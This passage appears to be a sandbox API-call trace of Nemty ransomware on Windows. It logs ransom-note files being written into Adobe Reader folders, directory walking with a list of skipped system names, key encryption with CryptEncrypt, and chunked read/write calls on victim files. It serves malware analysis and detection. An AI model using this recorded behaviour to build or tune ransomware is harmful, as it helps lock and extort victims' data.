dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0195.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942d8 [0195.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0195.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.137] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276420b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x276420b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x276420b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0195.137] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0195.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0195.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0195.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0195.137] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2=".") returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="..") returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="...") returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="windows") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="$RECYCLE.BIN") returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="rsa") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="NTDETECT.COM") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="ntldr") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="MSDOS.SYS") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="IO.SYS") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="boot.ini") returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="boot.ini") returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="AUTOEXEC.BAT") returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="ntuser.dat") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="desktop.ini") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="CONFIG.SYS") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="RECYCLER") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="BOOTSECT.BAK") returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="bootmgr") returned 1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="programdata") returned -1 [0195.137] lstrcmpiW (lpString1="CMap", lpString2="appdata") returned 1 [0195.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CMap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0195.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CMap", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMap", lpUsedDefaultChar=0x0) returned 4 [0195.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CMap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0195.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CMap", cchWideChar=4, lpMultiByteStr=0x653ef10, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMap", lpUsedDefaultChar=0x0) returned 4 [0195.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0195.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0195.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351e40 [0195.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0195.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0195.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0195.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0195.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0) returned 0 [0195.145] CloseHandle (hObject=0xffffffff) returned 0 [0195.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0195.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351e40 | out: hHeap=0x4f90000) returned 1 [0195.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351e40 [0195.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351eb8 [0195.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351f30 [0195.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0195.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0195.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0195.146] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0195.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0) returned 0 [0195.152] CloseHandle (hObject=0xffffffff) returned 0 [0195.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0195.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351f30 | out: hHeap=0x4f90000) returned 1 [0195.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0195.152] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0195.153] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0195.153] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.155] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0195.155] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0195.155] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="83pv-RKSJ-H", cAlternateFileName="83PV-R~1")) returned 1 [0195.155] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2=".") returned 1 [0195.155] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="..") returned 1 [0195.155] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="...") returned 1 [0195.155] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="windows") returned -1 [0195.155] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="$RECYCLE.BIN") returned 1 [0195.155] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="rsa") returned -1 [0195.155] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="NTDETECT.COM") returned -1 [0195.155] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="ntldr") returned -1 [0195.155] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="MSDOS.SYS") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="IO.SYS") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="boot.ini") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="boot.ini") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="AUTOEXEC.BAT") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="ntuser.dat") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="desktop.ini") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="CONFIG.SYS") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="RECYCLER") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="BOOTSECT.BAK") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="bootmgr") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="programdata") returned -1 [0195.156] lstrcmpiW (lpString1="83pv-RKSJ-H", lpString2="appdata") returned -1 [0195.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="83pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="83pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="83pv-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="83pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="83pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="83pv-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="83pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="83pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="83pv-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="83pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0195.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="83pv-RKSJ-H", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="83pv-RKSJ-H", lpUsedDefaultChar=0x0) returned 11 [0195.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0195.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0195.157] Sleep (dwMilliseconds=0x5) [0195.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27fa1750, dwHighDateTime=0x1d561e8)) [0195.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27fa1750, dwHighDateTime=0x1d561e8)) [0195.171] GetLastError () returned 0x6 [0195.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.171] GetLastError () returned 0x6 [0195.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.171] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0195.171] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0195.172] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0195.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0195.172] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="GLGtc3qad1TSe2sbQSa1wLHZZNgY6fdJhoHcrIHQPYy2FTXeitvI/vsKzO2D8lf5\r\nKYAspnup3cnjEC60xM7ErYn5gIF4K35XAuWtZIVD7IL4Ok7eFoZ3wQJ3ISCcDdCD\r\n+edWbcCpS/3IgfZ6N2wlZ1c3jMBEFUgRUsMVfMPy7s/XlqIjBQ6A3eTw2T2apAkF\r\njLmTEc20o9OMc7ZrdDYi1thJ9QaneXHbKBaWgxtR01ie2oJFgcOH3+572dYyAhBb\r\n2eyrhuq7S5SfOA7x2mz/rDB5n/hNBATcGNC23iep/fCiWwj9QI5UznmRdrFIjh7Q\r\nctE+ELy8oL4xB537u5EHiA==\r\n", pcchString=0x653e91c) returned 1 [0195.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0195.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0195.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0195.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0195.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.172] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0195.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0195.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.182] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: 